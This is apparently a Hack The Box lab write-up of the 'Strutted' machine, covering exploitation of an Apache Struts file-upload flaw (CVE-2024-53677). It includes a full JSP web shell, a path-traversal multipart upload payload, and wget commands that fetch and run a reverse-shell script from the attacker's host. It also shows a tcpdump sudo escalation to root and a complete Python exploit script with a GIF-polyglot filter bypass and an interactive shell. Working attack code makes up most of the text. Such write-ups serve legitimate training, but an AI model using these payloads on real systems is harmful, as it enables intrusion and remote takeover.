Nmap
# Nmap 7.95 scan initiated Thu Jul 24 14:22:20 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -Pn -oN ./nmap.txt 10.10.11.59
Nmap scan report for 10.10.11.59
Host is up (0.43s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://strutted.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 24 14:33:15 2025 -- 1 IP address (1 host up) scanned in 655.08 seconds
Add strutted.htb
to our /etc/hosts
Page check
index page
There is a upload api for us,
We can try to upload the picture and check what is going on next
But we can't copy the link here.
And we can press the Download
button to check the source code of this service
From the file tomcat-users.xml
we can get the credit of admin
┌──(wither㉿localhost)-[~/Templates/htb-labs/Strutted]
└─$ cat tomcat-users.xml
<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="skqKY6360z!Y" roles="manager-gui,admin-gui"/>
</tomcat-users>
From the file pom.xml
, we can find the versions of dependency
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<struts2.version>6.3.0.1</struts2.version>
<jetty-plugin.version>9.4.46.v20220331</jetty-plugin.version>
<maven.javadoc.skip>true</maven.javadoc.skip>
<jackson.version>2.14.1</jackson.version>
<jackson-data-bind.version>2.14.1</jackson-data-bind.version>
</properties>
From the docker file Dockerfile
we get the docker process
┌──(wither㉿localhost)-[~/Templates/htb-labs/Strutted]
└─$ cat Dockerfile
FROM --platform=linux/amd64 openjdk:17-jdk-alpine
#FROM openjdk:17-jdk-alpine
RUN apk add --no-cache maven
COPY strutted /tmp/strutted
WORKDIR /tmp/strutted
RUN mvn clean package
FROM tomcat:9.0
RUN rm -rf /usr/local/tomcat/webapps/
RUN mv /usr/local/tomcat/webapps.dist/ /usr/local/tomcat/webapps/
RUN rm -rf /usr/local/tomcat/webapps/ROOT
COPY --from=0 /tmp/strutted/target/strutted-1.0.0.war /usr/local/tomcat/webapps/ROOT.war
COPY ./tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml
COPY ./context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml
EXPOSE 8080
CMD ["catalina.sh", "run"]
By enumerate the exploits of the dependency, I found something interesting here
CVE-2024-53677
CVE-2024-53677 – Critical Apache Struts Remote Code Execution Vulnerability
There is a good exploit script from
https://github.com/TAM-K592/CVE-2024-53677-S2-067.git
https://github.com/EQSTLab/CVE-2024-53677.git
By run the exploit script, it hints us the file upload is successful, but can't find the uploaded page
┌──(wither㉿localhost)-[~/Templates/htb-labs/Strutted/CVE-2024-53677-S2-067]
└─$ python3 S2-067.py -u http://strutted.htb --upload_endpoint upload.action --files webshell.jsp --destination ../../webshell.jsp
[INFO] Uploading files to http://strutted.htb/upload.action...
[SUCCESS] File webshell.jsp uploaded successfully: ../../webshell.jsp
[INFO] Verifying uploaded file: http://strutted.htb/webshell.jsp
[INFO] File not accessible. HTTP Status: 404
So I would use burpsuite
to exploit it manually and follow the article of Tanium
https://help.tanium.com/bundle/CVE-2024-31497/page/VERT/CVE-2024-53677/Understanding_Apache_Struts.htm
Firstly, I would like upload a normal test picture to help us upload a web-shell:
Secondly, we can delete some picture strings and add some jsp shell code
There is a example web jsp shell
<%@ page import="java.io.*, java.util.*, java.net.*" %>
<%
String action = request.getParameter("action");
String output = "";
try {
if ("cmd".equals(action)) {
// Execute system commands
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output += line + "\n";
}
reader.close();
}
} else if ("upload".equals(action)) {
// File upload
String filePath = request.getParameter("path");
String fileContent = request.getParameter("content");
if (filePath != null && fileContent != null) {
File file = new File(filePath);
try (BufferedWriter writer = new BufferedWriter(new FileWriter(file))) {
writer.write(fileContent);
}
output = "File uploaded to: " + filePath;
} else {
output = "Invalid file upload parameters.";
}
} else if ("list".equals(action)) {
// List directory contents
String dirPath = request.getParameter("path");
if (dirPath != null) {
File dir = new File(dirPath);
if (dir.isDirectory()) {
for (File file : Objects.requireNonNull(dir.listFiles())) {
output += file.getName() + (file.isDirectory() ? "/" : "") + "\n";
}
} else {
output = "Path is not a directory.";
}
} else {
output = "No directory path provided.";
}
} else if ("delete".equals(action)) {
// Delete files
String filePath = request.getParameter("path");
if (filePath != null) {
File file = new File(filePath);
if (file.delete()) {
output = "File deleted: " + filePath;
} else {
output = "Failed to delete file: " + filePath;
}
} else {
output = "No file path provided.";
}
} else {
// Unknown operation
output = "Unknown action: " + action;
}
} catch (Exception e) {
output = "Error: " + e.getMessage();
}
// Return the result
response.setContentType("text/plain");
out.print(output);
%>
We can found the malicious code successfully inject to the picture.
Now, we need to manipulate the file upload by adding the top.uploadFileName
parameter so that the file is copied to a sensitive location, such as the root directory of Tomcat. In addition, we must also change the lowercase "u" in upload to an uppercase "U"
For the reason why we need to change upload
to Upload
The default file upload interceptor used by Apache Struts 2 is the FileUploadInterceptor in the interceptor stack named defaultStack, and it internally relies on an interceptor reference named "upload" or "Upload" by default to bind the upload processing logic. Whether the specific name is case-sensitive depends on the configuration method.
By check the source code of download zip file before, I found from /strutted/src/main/resources/struts.xml
<package name="default" namespace="/" extends="struts-default">
<default-action-ref name="upload"/>
<action name="upload" class="org.strutted.htb.Upload">
<interceptor-ref name="fileUpload">
<param name="maximumSize">2097152</param>
<param name="allowedExtensions">jpg,jpeg,png,gif</param>
<param name="message">
Invalid file type! Allowed types: jpg, jpeg, png, gif.
</param>
</interceptor-ref>
<interceptor-ref name="defaultStack"/>
<result name="input">WEB-INF/upload.jsp</result>
<result name="error">WEB-INF/error.jsp</result>
<result name="success">WEB-INF/success.jsp</result>
</action>
So the exploit form would be:
-----------------------------82912526535569421431365127366
Content-Disposition: form-data; name="Upload"; filename="wither_rose.png"
Content-Type: image/png
(SNIP)
-----------------------------82912526535569421431365127366
Content-Disposition: form-data; name="top.UploadFileName"
../../shell.jsp
-----------------------------82912526535569421431365127366--
Then we can find it was uploaded successfully into ../../shell.jsp
Finally we can get the access to web-shell
Let's exploit it to get the reverse shell
http://strutted.htb/shell.jsp?action=cmd&cmd=id
Then let's upload the shell script and run it
http://strutted.htb/shell.jsp?action=cmd&cmd=wget+http://10.10.14.5/shell.sh+-o+/tmp/shell.sh
http://strutted.htb/shell.jsp?action=cmd&cmd=chmod+777+/tmp/shell.sh
http://strutted.htb/shell.jsp?action=cmd&cmd=ls+-l+/tmp
total 1052
drwxr-x--- 2 tomcat tomcat 4096 Jul 24 04:20 hsperfdata_tomcat
-rwxrwxrwx 1 tomcat tomcat 253 Jul 24 05:43 shell.sh
-rwxr----- 1 tomcat tomcat 1068672 Jul 24 04:38 sqlite-3.47.1.0-ec05ed08-bea3-42d3-9ef7-abc54923551c-libsqlitejdbc.so
-rw-r----- 1 tomcat tomcat 0 Jul 24 04:38 sqlite-3.47.1.0-ec05ed08-bea3-42d3-9ef7-abc54923551c-libsqlitejdbc.so.lck
http://strutted.htb/shell.jsp?action=cmd&cmd=bash+/tmp/shell.sh
Finally we can get the reverse shell as tomcat
shell as james
By enumerate the file system, we can find tomcat-users.xml
from /etc/tomcat9/
<!--
<user username="admin" password="<must-be-changed>" roles="manager-gui"/>
<user username="robot" password="<must-be-changed>" roles="manager-script"/>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
--->
We can get the credit of admin IT14d6SSP81k
Let's check the /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:998:998:Apache Tomcat:/var/lib/tomcat9:/usr/sbin/nologin
james:x:1000:1000:Network Administrator:/home/james:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
I guess james
would be our target, let's try to su
and ssh
to switch to james
Then we can successfully get into shell as james
by ssh
┌──(wither㉿localhost)-[~/Templates/htb-labs/Strutted]
└─$ ssh james@10.10.11.59
The authenticity of host '10.10.11.59 (10.10.11.59)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:105: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.59' (ED25519) to the list of known hosts.
james@10.10.11.59's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-130-generic x86_64)
james@strutted:~$ id
uid=1000(james) gid=1000(james) groups=1000(james),27(sudo)
james@strutted:~$ whoami
james
shell as root
Firstly, I would like check the sudo -l
firstly
james@strutted:~$ sudo -l
Matching Defaults entries for james on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User james may run the following commands on localhost:
(ALL) NOPASSWD: /usr/sbin/tcpdump
We can find the exploit hints from GTOBins
Let's exploit it step by step
james@strutted:~$ COMMAND='cp /bin/bash /tmp/bash && chmod +s /tmp/bash'
james@strutted:~$ TF=$(mktemp)
james@strutted:~$ echo "$COMMAND" > $TF
james@strutted:~$ chmod +x $TF
james@strutted:~$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
james@strutted:~$ ls -al /tmp
total 1424
drwxrwxrwt 13 root root 4096 Jul 24 05:55 .
drwxr-xr-x 18 root root 4096 Jan 15 2025 ..
-rwsr-sr-x 1 root root 1396520 Jul 24 05:55 bash
drwxrwxrwt 2 root root 4096 Jul 24 04:20 .font-unix
drwxrwxrwt 2 root root 4096 Jul 24 04:20 .ICE-unix
drwx------ 3 root root 4096 Jul 24 04:20 systemd-private-0ec4762257284b49a7a288471d8d66cd-ModemManager.service-3Gocqn
drwx------ 3 root root 4096 Jul 24 04:20 systemd-private-0ec4762257284b49a7a288471d8d66cd-systemd-logind.service-ZGKgm2
drwx------ 3 root root 4096 Jul 24 04:20 systemd-private-0ec4762257284b49a7a288471d8d66cd-systemd-resolved.service-C5f7Jn
drwx------ 3 root root 4096 Jul 24 04:20 systemd-private-0ec4762257284b49a7a288471d8d66cd-systemd-timesyncd.service-B5201l
drwx------ 3 root root 4096 Jul 24 04:20 systemd-private-0ec4762257284b49a7a288471d8d66cd-tomcat9.service-VaHTV0
drwxrwxrwt 2 root root 4096 Jul 24 04:20 .Test-unix
-rwx--x--x 1 james james 3 Jul 24 05:54 tmp.ouGLxhY3J4
-rwx--x--x 1 james james 45 Jul 24 05:54 tmp.scQHYSWaqg
drwx------ 2 root root 4096 Jul 24 04:21 vmware-root_610-2731152165
drwxrwxrwt 2 root root 4096 Jul 24 04:20 .X11-unix
drwxrwxrwt 2 root root 4096 Jul 24 04:20 .XIM-unix
james@strutted:~$ /tmp/bash -p
bash-5.1# whoami
root
Beyond the Footpath
After I own this machine, I start to fix the automatic exploit script
I choose the https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE.git
And follow https://www.rjeon.com/general/demo/2019/06/05/side1.html
this article to make the exploit.py
script can bypass the Image Filters
import os
import sys
import time
import string
import random
import argparse
import requests
from urllib.parse import urlparse, urlunparse
from requests_toolbelt import MultipartEncoder
from requests.exceptions import ConnectionError
MAX_ATTEMPTS = 10
DELAY_SECONDS = 1
HTTP_UPLOAD_PARAM_NAME = "upload"
NAME_OF_WEBSHELL = "webshell"
NAME_OF_WEBSHELL_WAR = NAME_OF_WEBSHELL + ".war"
NUMBER_OF_PARENTS_IN_PATH = 5 # Updated to match File/<TimeStamp>/uploads/ROOT/webapps
def get_base_url(url):
parsed_url = urlparse(url)
base_url = urlunparse((parsed_url.scheme, parsed_url.netloc, "", "", "", ""))
return base_url
def create_war_file():
if not os.path.exists(NAME_OF_WEBSHELL_WAR):
os.system("jar -cvf {} {}".format(NAME_OF_WEBSHELL_WAR, NAME_OF_WEBSHELL + '.jsp'))
print("[+] WAR file created successfully.")
else:
print("[+] WAR file already exists.")
def upload_file(url):
create_war_file()
if not os.path.exists(NAME_OF_WEBSHELL_WAR):
print("[-] ERROR: webshell.war not found in the current directory.")
exit()
war_location = '../' * (NUMBER_OF_PARENTS_IN_PATH - 1) + 'webapps/' + NAME_OF_WEBSHELL_WAR
# Inject GIF polyglot header to bypass file type filter
war_file_content = open(NAME_OF_WEBSHELL_WAR, "rb").read()
war_file_content = b"GIF89a;" + war_file_content
files = {
HTTP_UPLOAD_PARAM_NAME.capitalize(): ("arbitrary.gif", war_file_content, "image/gif"),
HTTP_UPLOAD_PARAM_NAME + "FileName": war_location
}
boundary = '----WebKitFormBoundary' + ''.join(random.sample(string.ascii_letters + string.digits, 16))
m = MultipartEncoder(fields=files, boundary=boundary)
headers = {"Content-Type": m.content_type}
try:
response = requests.post(url, headers=headers, data=m)
if response.status_code == 200:
print(f"[+] {NAME_OF_WEBSHELL_WAR} uploaded successfully.")
else:
raise requests.RequestException('Wrong status code: ' + str(response.status_code))
except requests.RequestException as e:
print("[-] Error while uploading the WAR webshell:", e)
sys.exit(1)
def attempt_connection(url):
for attempt in range(1, MAX_ATTEMPTS + 1):
try:
r = requests.get(url)
if r.status_code == 200:
print('[+] Successfully connected to the web shell.')
return True
else:
raise Exception
except ConnectionError:
if attempt == MAX_ATTEMPTS:
print(f'[-] Maximum attempts reached. Unable to establish a connection with the web shell. Exiting...')
return False
time.sleep(DELAY_SECONDS)
except Exception:
if attempt == MAX_ATTEMPTS:
print('[-] Maximum attempts reached. Exiting...')
return False
time.sleep(DELAY_SECONDS)
return False
def start_interactive_shell(url):
if not attempt_connection(url):
sys.exit()
while True:
try:
cmd = input("\033[91mCMD\033[0m > ")
if cmd == 'exit':
raise KeyboardInterrupt
r = requests.get(url + "?cmd=" + cmd, verify=False)
if r.status_code == 200:
print(r.text.replace('\n\n', ''))
else:
raise Exception
except KeyboardInterrupt:
sys.exit()
except ConnectionError:
print('[-] We lost our connection to the web shell. Exiting...')
sys.exit()
except:
print('[-] Something unexpected happened. Exiting...')
sys.exit()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit script for CVE-2023-50164 by uploading a webshell to a vulnerable Struts app's server.")
parser.add_argument("--url", required=True, help="Full URL of the upload endpoint.")
args = parser.parse_args()
if not args.url.startswith("http"):
print("[-] ERROR: Invalid URL. Please provide a valid URL starting with 'http' or 'https'.")
exit()
print("[+] Starting exploitation...")
upload_file(args.url)
webshell_url = f"{get_base_url(args.url)}/{NAME_OF_WEBSHELL}/{NAME_OF_WEBSHELL}.jsp"
print(f"[+] Reach the JSP webshell at {webshell_url}?cmd=<COMMAND>")
print(f"[+] Attempting a connection with webshell.")
start_interactive_shell(webshell_url)
Then you can run the exploit script
┌──(wither㉿localhost)-[~/…/htb-labs/Strutted/CVE-2023-50164-Apache-Struts-RCE/exploit]
└─$ python3 exploit.py --url http://strutted.htb/upload.action
[+] Starting exploitation...
[+] WAR file already exists.
[+] webshell.war uploaded successfully.
[+] Reach the JSP webshell at http://strutted.htb/webshell/webshell.jsp?cmd=<COMMAND>
[+] Attempting a connection with webshell.
[+] Successfully connected to the web shell.
CMD > id
uid=998(tomcat) gid=998(tomcat) groups=998(tomcat)
CMD > whoami
tomcat
CMD >
Description
For the foothold, there is no way to directly use the exploit script to get the hot verse shell, and there are also rabbit holes for upload and upload, which is somewhat confusing.
For user and root, it is very simple and clear to exploit.
Why do we need to upload the location to ../../shell.jsp
instead of ../shell.jsp
.
The main reason we can find from web.xml
<servlet-mapping>
<servlet-name>staticServlet</servlet-name>
<url-pattern>/uploads/*</url-pattern>
</servlet-mapping>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
The first of these defines anything in /uploads/* , just like staticServlet
, for serving static files.